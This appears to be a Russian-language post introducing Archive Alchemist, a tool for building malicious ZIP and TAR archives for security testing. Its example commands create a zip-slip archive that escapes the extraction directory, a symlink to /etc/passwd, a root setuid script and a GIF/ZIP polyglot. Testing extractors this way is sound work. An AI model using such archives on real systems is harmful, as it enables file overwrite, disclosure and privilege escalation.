❗️Характеристики
⏺️Создание ZIP- и TAR-архивов с вредоносными шаблонами;
⏺️Поддержка атак с обходом пути;
⏺️Поддержка символических и жестких ссылок;
⏺️Возможность устанавливать специальные биты разрешений (setuid, setgid, sticky bit);
⏺️Точный контроль над атрибутами файлов (режим, владелец, группа, время изменения);
⏺️Команды манипулирования: добавить, заменить, дополнить, изменить;
⏺️Вспомогательные команды: извлечение, список, чтение;
⏺️Создание файлов polyglot (дополните архив данными + настройте заголовки).
⬇️Установка
Клонируем репозиторий, переходим в папку с проектом, делаем скрипт исполняемым и опциональным шагом является создание симлинка, чтобы пользоваться инструментом без привязки к необходимой директории:
git clone https://github.com/avlidienbrunn/archivealchemist
cd archivealchemist
chmod +x archive-alchemist.py
sudo ln -s $(pwd)/archive-alchemist.py /usr/local/bin/archive-alchemist
⚡️ Использование
Архив с полезной нагрузкой для обхода путей:
archive-alchemist zipslip.zip add "../../../tmp/evil.txt" --content "I escaped the extraction directory!"
Архив с символической ссылкой, указывающей на конфиденциальный файл:
archive-alchemist symlink_attack.tar -t tar add .bashrc --symlink "/etc/passwd"
Создание исполняемого файла с правами суперпользователя:
archive-alchemist setuid_attack.tar -t tar add exploit --content "#!/bin/sh\nwhoami" --mode 0755 --setuid --uid 0
Создание файла, который является допустимым ZIP-файлом и начинается с магических байтов GIF
archive-alchemist polyglot.gif add payload.txt --content "hello there"
Поддерживает следующие команды
🌟add - добавление файлов, каталогов, символических или жестких ссылок в архив;
🌟replace - замена существующих файлов или каталогов в архиве;
🌟append - добавление дополнительного содержимого к существующим файлам в архиве;
🌟modify - изменение атрибутов файла или преобразование файлов в символические/жесткие ссылки;
🌟remove/rm - удаление файлов, каталогов, символических или жестких ссылок из архива;
🌟list/ls - отображение содержимого архива;
🌟extract - извлечение файлов из архива в файловую систему;
🌟read/cat - чтение файла из архива в стандартный вывод;
🌟polyglot - добавление содержимое в архив, сохраняя его валидным.
